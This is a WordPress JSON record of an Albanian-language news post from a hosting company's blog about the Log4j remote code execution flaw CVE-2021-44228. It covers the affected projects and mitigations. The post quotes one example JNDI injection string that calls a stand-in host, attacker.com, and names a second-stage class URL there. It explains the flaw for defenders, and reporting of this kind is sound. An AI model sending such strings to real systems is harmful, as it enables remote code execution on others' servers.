{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Cenueshm\u00ebri katastrofike n\u00eb Apache Log4j q\u00eb prek shum\u00eb projekte Java","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb Apache Log4j, nj\u00eb korniz\u00eb e njohur p\u00ebr menaxhimin e regjistrimeve n\u00eb aplikacionet Java, u zbulua nj\u00eb vulnerabilitet kritik q\u00eb lejon ekzekutimin e kodit t\u00eb librit gjat\u00eb regjistrimit t\u00eb nj\u00eb vler\u00eb t\u00eb formatuar posa\u00e7\u00ebrisht n\u00eb formatin \"{jndi:URL}\". Sulmi mund t\u00eb kryhet ndaj aplikacioneve Java q\u00eb regjistrojn\u00eb vlera t\u00eb marra nga burime t\u00eb jashtme, p\u00ebr shembull, gjat\u00eb shfaqjes s\u00eb vlerave problematike n\u00eb mesazhet e gabimeve. <\/p>\n

V\u00ebrehet se problemi i prek pothuajse t\u00eb gjitha projektet q\u00eb p\u00ebrdorin frameworke si Apache Struts, Apache Solr, Apache Druid ose Apache Flink, duke p\u00ebrfshir\u00eb Steam, Apple iCloud, klient\u00ebt dhe server\u00ebt e loj\u00ebs Minecraft. Pritet q\u00eb kjo dob\u00ebsi t\u00eb sjell\u00eb nj\u00eb val\u00eb sulmesh masive ndaj aplikacioneve t\u00eb korporatave, duke rip\u00ebrs\u00ebritur historin\u00eb e dob\u00ebsive kritike n\u00eb frameworkun Apache Struts, i cili, sipas vler\u00ebsimeve, p\u00ebrdoret n\u00eb aplikacionet web nga 65% e kompanive n\u00eb list\u00ebn Fortune 100. Ve\u00e7mas, jan\u00eb regjistruar tashm\u00eb p\u00ebrpjekje p\u00ebr skanimin e rrjetit p\u00ebr sisteme t\u00eb prekshme. <\/p>\n

Problemi p\u00ebrkeq\u00ebsohet nga fakti se \u00ebsht\u00eb publikuar tashm\u00eb nj\u00eb exploit funksional, por rregullimet p\u00ebr pastrat stabile nuk jan\u00eb ofruar deri tani. Identifikuesi CVE ende nuk \u00ebsht\u00eb caktuar. Rregullimi \u00ebsht\u00eb p\u00ebrfshir\u00eb vet\u00ebm n\u00eb deg\u00ebn testuese log4j-2.15.0-rc1. Si nj\u00eb zgjidhje p\u00ebr bllokimin e dob\u00ebsis\u00eb, rekomandohet q\u00eb t\u00eb vendoset parametri log4j2.formatMsgNoLookups n\u00eb vler\u00ebn true. <\/p>\n

Problemi u shkaktua nga fakti se log4j mb\u00ebshtet trajtimin e maskave speciale \"{}\" n\u00eb stringjet e regjistruara, n\u00eb t\u00eb cilat mund t\u00eb ekzekutohen k\u00ebrkesat JNDI (Java Naming and Directory Interface). Sulmi p\u00ebrb\u00ebhet nga d\u00ebrgimi i nj\u00eb stringu me z\u00ebvend\u00ebsim \"${jndi:ldap:\/\/attacker.com\/a}\", gjat\u00eb p\u00ebrpunimit t\u00eb cilit log4j do t\u00eb d\u00ebrgoj\u00eb n\u00eb server<\/a> k\u00ebrkes\u00eb LDAP n\u00eb attacker.com p\u00ebr rrug\u00ebn n\u00eb klas\u00ebn Java. Rrug\u00eb e kthyer server<\/a> nga sulmuesi (p\u00ebr shembull, http:\/\/second-stage.attacker.com\/Exploit.class) do t\u00eb ngarkohet dhe ekzekutohet n\u00eb kontekstin e procesit aktual, duke i mund\u00ebsuar sulmuesit t\u00eb realizoj\u00eb ekzekutimin e kodit t\u00eb rast\u00ebsish\u00ebm n\u00eb sistem me t\u00eb drejtat e aplikacionit aktual. <\/p>\n

Shtes\u00eb 1: Dob\u00ebsis\u00eb i \u00ebsht\u00eb caktuar identifikuesi CVE-2021-44228. <\/p>\n

Shtes\u00eb 2: \u00cbsht\u00eb zbuluar nj\u00eb m\u00ebnyr\u00eb p\u00ebr t\u00eb anashkaluar mbrojtjen e shtuar n\u00eb versionin log4j-2.15.0-rc1. \u00cbsht\u00eb propozuar nj\u00eb p\u00ebrdit\u00ebsim i ri log4j-2.15.0-rc2 me nj\u00eb mbrojtje m\u00eb t\u00eb plot\u00eb kund\u00ebr dob\u00ebsis\u00eb. N\u00eb kod ka nj\u00eb nd\u00ebrlikim q\u00eb lidhet me munges\u00ebn e ndalimit t\u00eb menj\u00ebhersh\u00ebm n\u00eb rastin e p\u00ebrdorimit t\u00eb nj\u00eb URL JNDI t\u00eb formatuar gabim.
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 «{jndi:URL}». \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0432 \u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102562","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Vulnerabilitet katastrofik n\u00eb Apache Log4j, q\u00eb preku shum\u00eb projekte Java | ProHoster","description":"N\u00eb Apache Log4j, nj\u00eb framework i njohur p\u00ebr organizimin e regjistrimeve n\u00eb aplikacionet Java, \u00ebsht\u00eb zbuluar nj\u00eb vulnerabilitet kritik q\u00eb lejon ekzekutimin e kodit t\u00eb d\u00ebshiruar duke regjistruar nj\u00eb vler\u00eb t\u00eb formatuar n\u00eb m\u00ebnyr\u00eb speciale.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Apache Log4j, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043c\u043d\u043e\u0433\u0438\u0435 Java-\u043f\u0440\u043e\u0435\u043a\u0442\u044b | ProHoster","og:description":"\u0412 Apache Log4j, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043b\u043e\u0433\u043e\u0432 \u0432 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043b\u043e\u0433 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432.","og:url":"https:\/\/prohoster.info\/sq\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-12-10T07:36:48+00:00","article:modified_time":"2021-12-10T07:36:48+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102562","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-12-10 07:37:47","updated":"2026-02-09 21:46:43","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102562","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=102562"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102562\/revisions"}],"predecessor-version":[{"id":172962,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/102562\/revisions\/172962"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=102562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=102562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=102562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}